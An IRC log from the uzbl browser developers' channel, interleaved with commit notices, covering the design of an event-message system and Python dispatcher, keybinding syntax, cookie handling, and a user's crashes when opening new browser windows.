14:56 < N30N> all this sounds very nice, but js already has a event system like this
14:57 < rob|> sure, though this requires you to script in JS while my approach lets you use any language _and_ JS...
14:58 < mason-l> rob|, Also (although it doubles the amount of output) could we get a LINK_UNHOVER or something to that effect?
14:58 < mason-l> For roll-over based events.
14:59 < Dieterbe> Dieterbe> rob|: i don't know.. wouldn't it be easier to just always get everything , and ignore what you don't want? <-- rob| ?
14:59 < mason-l> like (1) roll over link (2) check domain in cookie daemon whitelist (3) print whether or not cookies will be used on that site in status bar
14:59 < rob|> Dieterbe: sure, that would definitly be easier
14:59 < mason-l> (4) roll out (5) message removed
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15:00 < rob|> mason-l: that should be possible, though iirc webkit does not emit such an event
15:00 < mason-l> rob|, Eeek!
15:00 < rob|> mason-l: might be wrong here, though
15:01 < mason-l> Seems strange to do one and not the other.
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15:03 < rob|> anyways, i think that a good key handler using the event messages would convince users to switch over
15:03 < rob|> so we could run both appoaches in parallel for some time
15:04 < mason-l> rob|, Could just supply a command line option -d (or -e?) to output the event messages.
15:05 < mason-l> But then again theres a large amount of code that can be removed by going for the external dispatcher so...
15:05 < rob|> yep, that's also a good idea
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15:07 < Dieterbe> mason-l> like (1) roll over link (2) check domain in cookie daemon whitelist (3) print whether or not cookies will be used on that site in status ba <-- this sounds totally awesome
15:07 < rob|> well, i guess the first enhancement would be to send the events over all interfaces and providing a nice key handler, everything else will come with time
15:08 < mason-l> rob|, Also I would make sure that any output to the terminal by uzbl is done to stderr so that its not snatched up by the dispatcher.
15:08 < mason-l> Error output that is.
15:09 < rob|> yeah, i always wanted to do it this way, though didn't get too much feedback :(
15:09 < mason-l> rob|, <3
15:09 < mason-l> Keep at it.
15:09 < Dieterbe> well rob| , you forgot to mention quite some important (to me) advantages in your first mail.  at first i didn't see the use of this, but now i do
15:11 < rob|> i guess you're right. it seemed so clear to me that i assumed everyone would look at it in the same way -> mistake!
15:12 < mason-l> This is exactly the exciting new frontier this project needed (after about a week of idle) .
15:12 < Dieterbe> hmmm.. what do you suggest for the cookie handler? implement something like talk_to_socket inside the dispatcher?
15:13 < Dieterbe> or bypass the dispatcher and do the cookie handler like we are already doing it
15:13 < mason-l> Dieterbe, My problem with that is the dispatcher should be asynchronous and cookie putting/getting isn't.
15:13 < Dieterbe> right.
15:13 < mason-l> I mean: cookie getting/putting inherently isn't.
15:14 < Dieterbe> so until we figure out something better (like using proxies for cookies), we probably stick with the current cookie handler methods
15:14 < rob|> right, cookies are a corner case where my async approach doesn't work too well :(
15:14  * rob| hates keeping state
15:15  * rob| love stateless protocols
15:15 < rob|> :P
15:16 < mason-l> rob|, So I'm not sure of the value of the cookie events being printed at the time being (until we find a better way of handling them)
15:17 < rob|> right, actually the cookie thing was the last bit i added. just did it to show it's possible...
15:20 < Dieterbe> ok
15:23 < rob|> alright, so i'll remove cookie events and add KEY_UP/KEY_DOWN for modifiers
15:24 < rob|> and investigate wether it's possible to report LINK_UNHOVER events..
15:24 < rob|> i'd be happy if someone could take care of outputting to the socket and eventually to a output fifo
15:25 < Dieterbe> hold on a sec
15:25 < Dieterbe> we should think about whether we really need that
15:25 < mason-l> rob|, Just pipe?
15:26 < mason-l> rob|, I liked what you did in your mailing list message
15:26 < Dieterbe> pipe: some users may want to use uzbl like so: wget -O - | uzbl | <do something else with html here>
15:26 < Dieterbe> socket: not needed imho. the dispatcher can send commands to uzbl's fifo/socket
15:26 < Dieterbe> fifo seems like the way to go to me
15:27 < mason-l> rob|, And if you used sockets then you couldnt have (ba|z)sh dispatchers
15:27 < rob|> true, though fifos are only usable with inotail
15:28 < mason-l> I anticipate a plethora of dispatchers being made.
15:28 < rob|> and inotail seems to be broken with fifos on some systems (including debian and some others)
15:29 < Dieterbe> maybe my "pipe: some users may want to use uzbl like so: wget -O - | uzbl | <do something else with html here>" was too far fetched
15:29 < Dieterbe> maybe stdout really is fine for now
15:29 < rob|> mason-l: the idea is to be able to send events to any output-capable interface
15:29 < rob|> mason-l: though i don't mind if we stay with staout for now
15:30 < rob|> *stdout
15:30 < mason-l> rob|, Sounds good.
15:30 < Dieterbe> but why would be bother to make it able to use any output interface if we just need one?
15:30 < rob|> because stdout isn't suitable in all cases i'd guess
15:31 < rob|> considering the issues with inotail and fifos, that is
15:31 < mason-l> <rob|> and inotail seems to be broken with fifos on some systems (including debian and some others) <- the debian systems will have to use dispatchers that dispatch to the uzbl SOCK_STREAM sockets then.
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15:33 < Dieterbe> btw i'm interested in extending the example dispatcher to implement more keybinds (similar to all keybinds in sampleconfig right now)
15:33 < rob|> yeah, that's why we should at least add the socket as event output device
15:34 < Dieterbe> mason-l> <rob|> and inotail seems to be broken with fifos on some systems (including debian and some others) <- the debian systems will have to use dispatchers that dispatch to the uzbl SOCK_STREAM sockets then <--- or stdout
15:34 < Dieterbe> really, can anyone come up with a use case where stdout would be not good enough?
15:35 < mason-l> Dieterbe, I meant for the commands going back to the uzbl instance.
15:35 < Dieterbe> uzbl has already a socket and a fifo for that
15:35 < mason-l> Exactly
15:37 < rob|> sorry, need to leave now. bbl.
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15:38 < github> uzbl: Dieter Plaetinck experimental SHA1-d041637
15:38 < github> stupid doc update
15:38 < github> http://bit.ly/57TZQ
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15:40 < Dieterbe> okay i pushed the event-messages branch (clone of robs) to the official tree
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15:52 < mason-l> Dieterbe, Did you see my latest response to the cookie daemon thread on the ML?
16:00 < Dieterbe> the "ok. i'm gonna test more, will do pull request" one?
16:00 < Dieterbe> saw that one yes
16:01 < mason-l> Dieterbe, Considering the socat method was unworkable I think I've finally put the issues to rest using ./cookie_daemon.py reload
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16:02 < mason-l> I'm just trying to do an inventory of the huge amount of changes I've made in my tree.
16:02 < Dieterbe> yeah i read that
16:02 < Dieterbe> the reload thing is not that bad. we can live with it ;)
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16:16 < mason-l> Dieterbe, It only occurred to me now but "<nubs> you'd probably want a "selection" case as well for when someone has selected text" will work extraordinarily with the event-message method.
16:17 < mason-l> You'd just have to be careful to make sure the string is escaped correctly or else "Ooops! code injection on hi-light."
16:18 < Dieterbe> how do you mean code injection? user selects text -> generate TEXT_SELECTED event with as argument the selected text
16:18 < Dieterbe> oh..
16:18 < Dieterbe> i guess we should just treat everything after the first space as argument
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16:20 < mason-l> Dieterbe, No i mean some of the selection text will have new lines characters in it.
16:21 < mason-l> And the event messages are separated by newline characters.
16:21 < Dieterbe> right
16:21 < mason-l> If you don't sanitize the selection text there could be problems but otherwise its an awesome ability.
16:22 < mason-l> I'm dreaming up one feature at the moment called "select append" which starts recording selections and then copies the final list of selections into your clipboard.
16:23 < Dieterbe> hey you could easily do that
16:23 < mason-l> Yeah :)
16:23 < Dieterbe> but it would be even better to do this on a more global scale (think xbindkeys and global clipboard manager)
16:25 < Dieterbe> mason-l: can you git fetch your remote that points to me?
16:25 < mason-l> Well as far a clipboard goes just use xclip
16:25 < mason-l> Dieterbe, I'm not sure what you mean?
16:25 < Dieterbe> i just merged my latest experimental into my event-messages (the one from rob was quite outdated)
16:25 < Dieterbe> but github doesn't show the 59 new commits
16:26 < mason-l> Dieterbe, Github sometimes takes a while to respond.
16:26 < Dieterbe> just git fetch dieterbe or whatever
16:26 < mason-l> ok
16:26 < Dieterbe> and then git log dieterbe/event-messages
16:26 < Dieterbe> it should contain the recent commits like the max_conns one
16:27 < mason-l> Dieterbe, Yep
16:27 < mason-l> All there.
16:30 < Dieterbe> good
16:34 < Dieterbe> i'm now throwing out all the old key code in the event-messages branch and building a todolist of what todo with the new system. when that's done i'll start implementing
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17:12 < github> uzbl: Dieter Plaetinck event-messages SHA1-7c7bd64
17:12 < github> add sample key handler from RobM. taken from http://lists.uzbl.org/pipermail/uzbl-dev-uzbl.org/2009-August/000261.html
17:12 < github> http://bit.ly/C6Vbf
17:12 < github> uzbl: Dieter Plaetinck event-messages SHA1-0b991a8
17:12 < github> first steps towards docs, (improved) todo, add key_release skeleton
17:12 < github> http://bit.ly/3kPUUI
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18:04 < scj> just tried the event-messages branch. shouldn't it start out by telling the handler the socket/fifo?
18:09 < scj> actually, just realized that you can get that functionality by putting 'print INSTANCE_FIFO [@NAME] @fifo_dir/uzbl_fifo_@NAME' in the config
18:10 < Dieterbe> indeed. i was thinking about an other method: at set_var_value(), trigger an event 'VARIABLE_SET' or something
18:16 < scj> I'm fine with doing it the config way, as long as there is a defined standard for message names
18:31 < Dieterbe> oh btw how is the formfiller going? i noticed i still had an integration branch (scj-formfiller)
18:33 < scj> Dieterbe: oh, I actually haven't done anything with it
18:33 < scj> guess I should stop procrastinating
18:34 < Dieterbe> yeah ;P
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18:38 < github> uzbl: Dieter Plaetinck event-messages SHA1-4346627
18:38 < github> VARIABLE_SET event
18:38 < github> http://bit.ly/3L6qS
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19:04 < github> uzbl: Dieter Plaetinck event-messages SHA1-a9fb057
19:04 < github> make target to test dispatcher
19:04 < github> http://bit.ly/Aw3Ge
19:04 < github> uzbl: Dieter Plaetinck event-messages SHA1-6b06325
19:04 < github> FIFO_SET event
19:05 < github> http://bit.ly/TcW29
19:05 < github> uzbl: Dieter Plaetinck event-messages SHA1-b044927
19:05 < github> refactored dispatcher that supports getting fifo path from event
19:05 < github> http://bit.ly/2uPDKP
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19:17 < Dieterbe> rob|: you're 65 commits behind ;)
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19:44 < github> uzbl: Dieter Plaetinck event-messages SHA1-499951e
19:44 < github> prefix events with "EVENT " for easier filtering
19:44 < github> http://bit.ly/2qoMR
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19:48 < github> uzbl: Dieter Plaetinck event-messages SHA1-6c2689c
19:48 < github> fix for KEY_PRESS + no more need for ugly fifo assignments
19:48 < github> http://bit.ly/fque1
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20:03 < scj> so what data should be sent with mouse button events?
20:06 < scj> oh, and if we are sending all the variables, is there any point in keeping internal variables?
20:09 < scj> i am really diggin it so far :D
20:11 < scj> easiest way to make a FSM for dealing with keybindings?
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20:55 < Dieterbe> scj: fsm?
20:55 < scj> finite state machine
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20:56 < Dieterbe> can you describe what that means in practice? i've looked it up on wikipedia a few times and got the theory, but in practice.. ?
20:58 < scj> for example; it would be a way to model what effect you would like to happen when you enter keystate 'o' after being in keystate 'f'
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21:51 < Dieterbe> ah
21:54 < ruskie> the way I understand them I would consider a parser a fsm as well since it generally has finite final states
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22:00 < Dieterbe> i see
22:01 < ruskie> though it's been years since I had that explanation... have a friend that like so to code from sleep 'till sleep
22:02 < ruskie> learned a few things from him and a lot from various CS classes about the theory and practice of coding
22:02 < Dieterbe> "like so to code" == ?
22:02 < ruskie> erm likes
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22:02 < ruskie> the one issue I have is learning the languge itself
22:04 < Dieterbe> which language?
22:04 < ruskie> C and ruby in my case :)
22:04 < ruskie> I still remember some pascal
22:04 < ruskie> and some java though
22:04 < ruskie> since thats what we used for the various courses
22:05 < ruskie> I have a similar problem with natural languages
22:08 < ruskie> and amazingly I actually understood pointers for the few C classes I had... even managed linked lists and such
22:08 < ruskie> but I always need to consult docs on how to do stuff
22:08 < ruskie> I can't even construct a C hello world app without looking at the basics
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22:09 < github> uzbl: Dieter Plaetinck event-messages SHA1-3691195
22:09 < github> todo updates
22:09 < github> http://bit.ly/NXh9g
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22:09 < Dieterbe> yeah my C is pretty sucky too
22:10 < ruskie> and C is really the one thing I want to learn
22:10 < Dieterbe> anyway. i'm gonna play a bit on my PS3 (i just bought need for speed pro street)
22:10 < ruskie> lol
22:10  * ruskie goes back to watching Druaga no To
22:11 < Dieterbe> yeah C is cool. you don't get much closer to the hardware then that (and still keep your sanity)
22:11 < ruskie> well I even did asm mc6801 or something like that
22:11 < ruskie> if you can adapt thinking patterns asm isn't that hard
22:11 < ruskie> but it get's tedius quickly
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22:14 < scj> I'm toying around with forth now, it's actually pretty awesome
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22:18 < scj> it's more or less a asm macro language with lisps metaprogramming goodness
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22:47 < scj> Dieterbe: anyway, regarding the event-messages branch, I am convinced that this is the way forward
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01:24 < axionix> Hey, what's up?
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08:46 < Dieterbe> morning guys
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09:32 < rob|> morning
09:33 < Dieterbe> rob|: pull in dieterbe/event-messages in your tree
09:33 < Dieterbe> you're 68 commits behind :P
09:33 < Dieterbe> (most of which are a merge-in of experimental)
09:34 < rob|> yeah, saw that and pulled already :)
09:34 < Dieterbe> ok
09:35 < Dieterbe> hmm and did you push back to github?
09:35 < rob|> now we just need a good, easily extandable dispatcher
09:35 < rob|> no, there was nothing to push just updated my tree
09:35 < Dieterbe> yeah. and we need to port the keycmd stuff to it. a task i underestimated :P
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09:36 < Dieterbe> hmm because `git status` keeps saying "Your branch is ahead of 'rob/event-messages' by 68 commits.", even after i git fetch rob
09:36 < Dieterbe> i think after you pulled in my updates in your local clone, you should push them to your github
09:36 < rob|> strange, for me git says "Up-to-date"
09:37 < rob|> ah right, done
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09:37 < Dieterbe> aha, now i'm behind :)
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09:38 < rob|> anyways, why do we need to port keycmd?
09:38 < rob|> you can already do 'set keycmd = anything' and as the dispatcher keeps track of its state it can always set keycmd to a correct value
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09:40 < Dieterbe> for the keybind stuff? so if i have bound gbbs to 'uri bbs.archlinux.org', the dispatcher first gets 'KEY_PRESS g', if there is nothing to trigger on just 'g', it should keep appending until it finds a match 'g+b+b+s' will be put in the keycmd in the dispatcher, which eventually triggers and sends the uri command to the fifo of uzbl
09:40 < Dieterbe> its the dispatcher that now handles the key events, the matching of binds and executing of commands right?
09:42 < Dieterbe> for this reason, i think we don't even need the 'keycmd' variable inside uzbl anymore per se (we can make it a custom variable which we can show in the statusbar, but users could use uzbl without dispatcher and without keycmd)
09:45 < rob|> indeed
09:45 < rob|> i just thought it might be more efficient to let uzbl itself write the typed chars to a variable/statusbar but i understand that this somewhat kills flexibility
09:47 < rob|> i.e. the dispatcher could transform certain sequences to something else
09:47 < Dieterbe> well my main concern with uzbl is always flexibility. things like performance comes after that.  but i don't think this will be problematic at all
09:48 < Dieterbe> hmm what would be a use case for such transformations?
09:48 < rob|> right, i'm really eager to see all the cool stuff you can do with this. like commands with timeouts (similat to vim) or tab completition, etc. :)
09:49 < rob|> Dieterbe: user types 'o bbs<tab>' the dispatcher looks into a history file and trasform the typed string into the best match
09:49 < Dieterbe> oh transformations as in tab completions. yeah sure.
09:50 < rob|> +
09:51 < rob|> yeah, or a macro functionality. like 'Alt+a' expands to 'something bla' and the user is able to edit the expanded version before execution
09:51 < Dieterbe> do you think there's something wrong with keeping extending your .sh dispatcher? (so it will all binding and triggering we currently have, as well as tab completion etc). or should we start from scratch in python or something
09:51 < rob|> well, the shell think was just a easy to read example thing. i guess we should go with something easier to configure for the user
09:52 < xerebz> i'm having problems with gmail/bank of america.. maybe some messed up cookies or something?
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09:52 < xerebz> how can i reset?
09:53 < rob|> reset what?
09:53 < xerebz> the cookies?
09:54 < xerebz> or what other data do sites like that keep?
09:54 < rob|> you'd just delete the corresponfing line(s) from your cookies file i guess
09:54 < Dieterbe> rob|: i'm just wondering if we continue this .sh thing, where would we get stuck? i think it's possible to do everything we want without too much complications/LoC.
09:55 < rob|> Dieterbe: well, the shell is certainly not usable for complex handlers. i don't like the idea of a huge shell script for that
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09:55 < rob|> also i think the default dispatcher should be configurable by an eaiser means than editing its source
09:55 < Dieterbe> rob|: btw, the 'bind' command will also disappear in uzbl right? the dispatcher will have it's own method for configuring it's bindings? (for dispatcher.sh i guess a text file with 2 colums like so would suffice: <bind string> <command[s] to be executed>)
09:56 < rob|> exactly
09:56 < Dieterbe> i think -but i'm not sure- a sh dispatcher wouldn't be more complicated then a py one
09:57 < rob|> it would be slower at least, with all those sed and what not calls
09:58 < Dieterbe> that's true.. we could also use bash, which has plenty of builting string manipulation thingies.
09:58 < Dieterbe> (but still we'd need tools like 'cut' and such sometimes)
09:59 < rob|> yeah, i guess an awk dispatcher would also be a cool thing.
09:59 < rob|> but we should really wait and see what users come up with :)
10:00 < rob|> the possibilities are virtually unlimited, though we might need a couple more convienience commands in uzbl
10:01 < Dieterbe> yeah they'll come up with nice things.. but i want to come up with the "uber dispatcher" asap. unfortunately i'm not that good in python.  i'm good in php but introducing yet another language doesn't seem too good (+many people don't like php)
10:02 < Dieterbe> convenience commands? such as?
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10:04 < github> uzbl: Robert Manea event-messages SHA1-e33f414
10:04 < github> style
10:04 < github> http://bit.ly/EVA8G
10:04 < github> uzbl: Robert Manea event-messages SHA1-a159295
10:04 < github> Merge branch 'experimental' of git://github.com/Dieterbe/uzbl into event-messages
10:05 < github> http://bit.ly/2OklUV
10:05 < github> uzbl: Robert Manea event-messages SHA1-b235a94
10:05 < github> added geometry variable
10:05 < github> http://bit.ly/BY1mB
10:05 < github> uzbl: Robert Manea event-messages SHA1-d7c302b
10:05 < github> Merge branch 'event-messages' of git://github.com/Dieterbe/uzbl into event-messages
10:05 < github> http://bit.ly/zTa7x
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10:09 < rob|> not really sure to what might be needed, maybe no much if anything at all
10:09 < rob|> *not
10:10 < xerebz> how do i make ctrl+t open up a new tab
10:11 < Dieterbe> just tell me what you're thinking about then
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10:11 < xerebz> i tried bind ctrl+t = sh "uzbl"
10:13 < rob|> xerebz: that won't work. you need to bind to literal control sequences, like:  bind <ctrl+v><ctrl+t> = foo
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10:14 < rob|> xerebz: this will all get nicer and way more powerful with the upcoming event messages
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10:15 < rob|> xerebz: see http://lists.uzbl.org/pipermail/uzbl-dev-uzbl.org/2009-August/000261.html  and dieter's 'event-messages' branch
10:27 < Dieterbe> rob|: so which convenience methods were you thinking of?
10:27 < rob|> well, nothing specific right now
10:27 < rob|> i just though we might need some in the future
10:27 < rob|> +t
10:29 < Dieterbe> yes, but to do what? i just want to understand how you are thinking
10:30 < rob|> as i said, i have nothing specific in mind. let's just wait and see if we need anything at all
10:31 < Dieterbe> ok
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10:35 < Dieterbe> hey holizz 
10:36 < holizz> Hi, Dieterbe
10:36 < holizz> I'm at work. First day of first job, yay.
10:37 < Dieterbe> oh cool.
10:37 < Dieterbe> so which employer is the lucky one?
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10:40 < Dieterbe> aha np-edv.at ?
10:40 < holizz> The Dextrous Web / thedextrousweb.com. They make Internet sites.
10:41 < holizz> Nope, I'm connecting to IRC via an XMPP transport.
10:41 < Dieterbe> k
10:41 < holizz> Now that I've not got a Tor exit point running, I can connect normally again.
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10:42 < Dieterbe> well, congrats
10:44 < holizz> Thanks. And taa for the kudos too. I'm rank 8 now.
10:45 < holizz> Ohloh is like a game.
10:48 < Dieterbe> rob|: i think i'll start a new dispatcher in python. it's not smart to continue hacking on the .sh one
10:49 < Dieterbe> python will be faster as well, faster then forking tools such as cut all the time
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11:03 < rob|> ok, i'm not a python guy so won't be able to do there much
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11:04 < Dieterbe> np
11:05 < Dieterbe> i'm learning as well :)
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11:12 < rob|> btw, some scripts could generate their very own events. 'scroll-percentage' would be a good example of such one
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11:15 < Dieterbe> hmmmz
11:15 < rob|> using uzbl's print it's just a matter of arraging the items in the correct order/format
11:17 < rob|> Uzbl.run("print EVENT SCROLL [@NAME] " + percentage)
11:18 < Dieterbe> we're doing pretty shweet stuff, aren't we? :)
11:19 < rob|> yeah, we already have a pretty nice basis to built things upon
11:20 < rob|> i'm happy we moved away from static configs for a great benefit as it seems to prove
11:22 < rob|> need to go, my gf had a bike accident yesterday so i need to take care of her a bit..
11:23 < rob|> bbl, bye.
11:25 < Dieterbe> see you
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11:55 < github> uzbl: Dieter Plaetinck event-messages SHA1-8738261
11:55 < github> use python based event manager instead of sh one.  posix sh was a dead end
11:55 < github> http://bit.ly/19hwtq
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12:50 < mason-l> axionix, Hey buddy.
12:50 < mason-l> Hey guys.
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13:11 < rob|> re
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13:17 < stalafin> hey! is there anybody here using the follow_NumberTab.js script? when I open a new link like that, a new instance gets created, but crashes right away, and i get an init_fifo error that it can't create some file in /tmp/ because that file already exists
13:25 < holizz> stalafin, You have stale FIFOs. Clear out /tmp/uzbl_fifo_*, and try again.
13:26 < stalafin> holizz: thank you or you reply; that's what i already tried, i deleted all /tmp/uzbl* instances; but the error persists
13:27 < holizz> Hmm.
13:34 < Dieterbe> i think there's also a bugreport about such a js script on our bugtracker
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13:36 < mason-l> Dieterbe, I've sent a pull request to the mailing list for a bucket load of changes in my experimental branch.
13:36 < Dieterbe> ok cool
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13:41 < github> uzbl: Dieter Plaetinck event-messages SHA1-cd1ca76
13:41 < github> todo updates
13:41 < github> http://bit.ly/236U2v
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13:42 < Dieterbe> rob|: when you have time, could you take a look at docs/TODO, where i've put some thoughts/todos/ideas on how we could/should implement the "uber keyboard handler" ;)
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13:49 < stalafin> holizz_: okay, i have investigated the matter further... upon spawning an instance of uzbl, an uzbl_socket_[number] and an uzbl_fifo_[number] are created; the numbers are the same; when i try to open a link in a new instance of uzbl, uzbl_socket_[number_2] and uzbl_fifo_[number_2] are created, but the window crashes (no error message); when i try to open a new instance again, i will get the error that the
13:49 < stalafin>  sockets and fifos already exist... so the crashing, i believe, is not necessarily related to fifo already being in place
13:52 < stalafin> Dieterbe: the bug report doesn't seem to be related; it's about follow_Numbers.js in the same instance of uzbl
13:53 < holizz> Have you tried putting -v on the second instance, and maybe >ing that to some log file?
13:53 < stalafin> holizz: i wouldn't know how to do that
13:54 < stalafin> changing the javascript?
13:55 < holizz> stalafin: So you have it opening a new instance, right? Then set the new_window option in your config to something like: sh "uzbl -v $8 >> ~/uzblog"
13:56 < Dieterbe> mason-l: you've tested that the whitelist stuff works?
13:58 < mason-l> Yeah
13:59 < stalafin> holizz: i have just checked the script to find out where the difference to the original follow_Numbers.js is... one sec
13:59 < Dieterbe> mason-l: ok then i don't have to test so much myself ;)
13:59 < stalafin> holizz: the relevant lines are 124 and 125 here: http://github.com/jelly/dotfiles/blob/97bf64dd52f49714911ec380b109af31696f5e4e/uzbl/scripts/follow_NumbersTab.js
14:00 < stalafin> holizz: http://tinyurl.com/lqch2d
14:00 < mason-l> Dieterbe, I'm still working on my uzbl keybinding though but thats something I'm putting on the wiki
14:01 < Dieterbe> what do you mean "your uzbl keybinding" ? you know we've just started refactoring all of that right?
14:02 < mason-l> Dieterbe, Yeah and I'm busy working on my dispatcher.py but for the mean time people want a "uzbl" version.
14:03 < Dieterbe> what a coincidence.. i'm working on event_manager.py (see event-messages branch)
14:05 < holizz> stalafin: Aha. Then you'll just have to edit that. Something like uzbl -vu url-goes-here >> ~/log
14:08 < stalafin> holizz: alright, did that; got a log, but there seems to be nothing fishy there
14:09 < holizz> stalafin: You're not on a 64-bit processor, are you?
14:10 < stalafin> holizz: well, the processor is 64-bit, my linux is i686 tho
14:11 < stalafin> well... how are other people doing that? opening links in a new instance...? i would like to have a similar behaviour like in vimperator
14:12 < holizz> Have you tried putting window.open(...) into the script?
14:13 < stalafin> holizz: how to do that?
14:14 < stalafin> holizz: but it's funny... basically the script does nothing else than "sh 'uzbl -u " + item.href + '"
14:14 < stalafin> don't understand why this won't do it
14:14 < stalafin> item.href is the url i guess... don't know much about javascript, but this looks like it
14:16 < holizz> Swap that line for "window.open(item.href)".
14:20 < stalafin> holizz: can you tell me what this line might do? >>             Uzbl.run("set keycmd = ");
14:21 < holizz> That'll reset the keycmd, i.e. the line at the bottom with the command.
14:21 < holizz> brb, lunch
14:22 < stalafin> holizz: command "window.open(item.href)" not understood. ignoring.
14:23 < holizz> Odd. With a ; at the end?
14:23 < stalafin> holizz: wait, actually... without Uzbl.run("your_cmd";?
14:23 < stalafin> holizz: if i put it without, just window.open(item.href); nothing happens
14:28 < stalafin> somewhere on the net i read that java's window.open is not supported at all
14:30 < Dieterbe> anyone using wmii btw?
14:30 < N30N> Dieterbe: yeah why?
14:31 < bjoernfan> Dieterbe: Yeah, but I'm at work now. No uzbl here.
14:33 < Dieterbe> well i was wondering how you guys do multiple instances with wmii. i use stacked mode but i haven't figured out yet, if i open new uzbl windows by clicking from inside the current uzbl window, how to make sure the new ones are opened in the background
14:36 < bjoernfan> Sorry, just switched from xmonad. xmonad kept stretching mplayer video across the whole screen, ignoring aspect ratio. :/
14:36 < bjoernfan> And I kind of like uzbl_tabbed
14:40 < N30N> Dieterbe: Haven't got around to doing it yet myself. but you'd need to check CreateClient event agenst the last ClientFocus event and if uzbl, focus the previous client
14:40 < Dieterbe> mmm that seems a little backwards
14:43 < N30N> Dieterbe: indeed I dont think there is away around wmii's auto focus
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14:45 < N30N> unless you move them to a different tag
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14:47 < Dieterbe> yeah but that would be silly too
14:47 < stalafin> Dieterbe: may I ask how you open a new instance of uzbl from inside uzbl?
14:48 < Dieterbe> i do it the noobieway because i haven't spend too much time on it yet (IIRC i rightclick the link and select 'open in new window' from the menu)
14:49 < stalafin> Dieterbe: yeah, that crashes for me as well xD
14:49 < stalafin> what the heck is wrong xD
14:49 < stalafin> alright, so i have successfully figured out: it crashes not only due to the script, but also in that case
14:49 < N30N> stalafin: js Uzbl.run("uzbl -u 'http://foo.bar'");
14:50 < stalafin> N30N: pardon?
14:50 < stalafin> N30N: i shall put that into my javascript?
14:51 < N30N> stalafin: erm I mean js Uzbl.run(sh "uzbl -u 'http://foo.bar'");
14:52 < bjoernfan> Dieterbe: Please share if you find a solution. :)
14:52 < stalafin> N30N: yeah, i used to do that; it crashes; so does right-click -> open in new window
14:54 < N30N> stalafin: crashes? no crash here.. bind x = js Uzbl.run("sh 'uzbl -u \'http://google.com\'");
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14:59 < stalafin> woah, i don't know why... i didn't change anything, but it started working oO
14:59 < stalafin> no, now it's crashing again
15:01 < stalafin> this is so weird... some windows in can open, some i can't open
15:07 < stalafin> okay, it seems like this is the fault of www.uzbl.org
15:07 < stalafin> what happens: if i do uzbl -u www.google.com and open some windows from there, everything is fine
15:08 < N30N> Dieterbe: how about... bind x = sh "uzbl -u 'http://google.com' & sleep 0.05 && wmiir xwrite /tag/sel/ctl select up"
15:08 < stalafin> if i do uzbl -u www.uzbl.org (or just uzbl since uzbl.org is the homepage) opening windows will result in crashing them right away
15:08 < stalafin> if i do that and go to www.google.com from uzbl.org, this will result in new windows opened from google crashing as well
15:09 < stalafin> if i open uzbl -u www.google.com, then navigate to uzbl.com, then go back to google.com, things will crash as well
15:10 < stalafin> so... what the heck is wrong with uzbl.org?!
15:11 < stalafin> so i wonder: is anyone here able to open a new window from uzbl.org?
15:12 < N30N> stalafin: works fine here
15:13 < stalafin> N30N: so what's wrong here with uzbl.org? xD
15:14 < stalafin> any ideas how i can check what's going on there?
15:15 < Dieterbe> N30N: that doesn't work at all for me. i see the new window with google
15:15 < N30N> Dieterbe: maybe you need a longer sleep
15:16 < Dieterbe> N30N: ah yes indeed
15:16 < Dieterbe> now it seems to work
15:17 < Dieterbe> too bad it is so ugly though :(
15:17 < N30N> stalafin: http://www.uzbl.org/wiki/debugging_crashes
15:18 < stalafin> okay, i created two logs: i open google and open a new tab from google; i go to uzbl.org, go back to google and open a new tab again; both times the log is written; i have made the log available here http://pastebin.com/d765c0103
15:19 < stalafin> N30N: yeah, but how am i suppoed to do that? the original instance of uzbl _never_ crashes; it's always the new one (which will never be running in the terminal i start the original uzbl from)
15:20 < N30N> oh right
15:21 < stalafin> N30N: i simply changed the command i open the new instance with to "sh 'uzbl -vu http://foo.org >> uzbl.og'"
15:21 < stalafin> log* that is
15:21 < rob|> might this be somehow be related to cookies.py? stalafin, can you try with cookie_daemon.py and talk_to_socket?
15:21 < stalafin> N30N: so in the file i have posted above there is the log for opening a new instances before and after visiting uzbl.org
15:22 < stalafin> rob|: can you please give me step by step instructions?
15:22 < stalafin> rob|: but yeah, i am using cookies.py
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15:32 < mason-l> stalafin, http://uzbl.org/wiki/cookie_daemon.py
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15:44 < Dieterbe> rob|: can you look at docs/TODO in event-messages?
15:44 < Dieterbe> mason-l: can you tell me more about your dispatcher.py?
15:44 < Dieterbe> mason-l: did you check the event-messages branch, especially event_handler.py ?
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15:58 < stalafin> rob|, mason-l: i have set up the daemon as explained in that wiki; uzbl still crashes when opening a site from uzbl.org
16:07 < mason-l> Dieterbe, Its a surprise, I just want to see if I can get the proof-of-concept working.
16:07 < mason-l> Although admittedly dispatcher.py was a poor choice of filename.
16:08 < rob|> Dieterbe: looked at it and i'm not sure what you mean with porting keycmd
16:09 < rob|> i mean, the dispatcher knows its internal state and can set keycmd to whatever it needs to be
16:09 < rob|> like user types 'foo' dispatcher setes keycmd to 'foo'. user types 'Backspace' disp. sets keycmd to 'fo', etc.
16:10 < scj> navigation requests should be reported in EVENTS
16:10 < scj> right now they're only visible in verbose mode
16:10 < rob|> right, i guess we should send most webkit signals as uzbl events
16:10 < mason-l> rob|, And I agree thats the way it should be.
16:12 < scj> indeed
16:12 < Dieterbe> rob|> like user types 'foo' dispatcher setes keycmd to 'foo'. user types 'Backspace' disp. sets keycmd to 'fo', etc. <-- yes. we used to do that in uzbl.c, now we should do it in event_handler.py, this is what i mean with "porting"
16:13 < rob|> ah ok, i see
16:14 < rob|> also the call to update_title you mention, there is already a update_gui command that does just that
16:14 < Dieterbe> rob|: the reason i let you look at the todo is because now we have to define how our config syntax will look like, this is quite tricky imho because of the requirements
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16:14 < rob|> config syntax of the dipatcher?
16:14 < rob|> +s
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16:16 < mason-l> Dieterbe, Whats this about config syntax?
16:16 < scj> uzbl won't have a config syntax
16:17 < scj> we need a good event system spec though
16:17 < Dieterbe> rob|: config syntax of the keybindings
16:17 < rob|> Dieterbe: well, that's up to the implementation
16:17 < Dieterbe> something that incorpororates "special" keys (Alt_L and such), supports key_release events etc
16:18 < mason-l> Dieterbe, Thats the beauty of the event manager's: they can define their own syntax.
16:18 < rob|> we could just look at other progs and see how/what those do
16:18 < Dieterbe> yeah sure, but we need a good sample implementation (event_handler.py tries to be a really nice implementation with ultimately, support for fancy things like tab completion etc)
16:19 < rob|> we could just use the vim syntax for the default keyhandler as uzbl wants to be vi style by default
16:19 < scj> and only filthy heathens use anything but vim
16:20 < rob|> heh
16:20 < mason-l> I would really like a way to toggle capturing of arrow keys (only in command mode & when capture_arrows = 1) so its possible to turn the status_bar into some form of dmenu
16:21 < scj> what is stopping you? the arrows are reported
16:21 < scj> interpretation is handled by the event manager
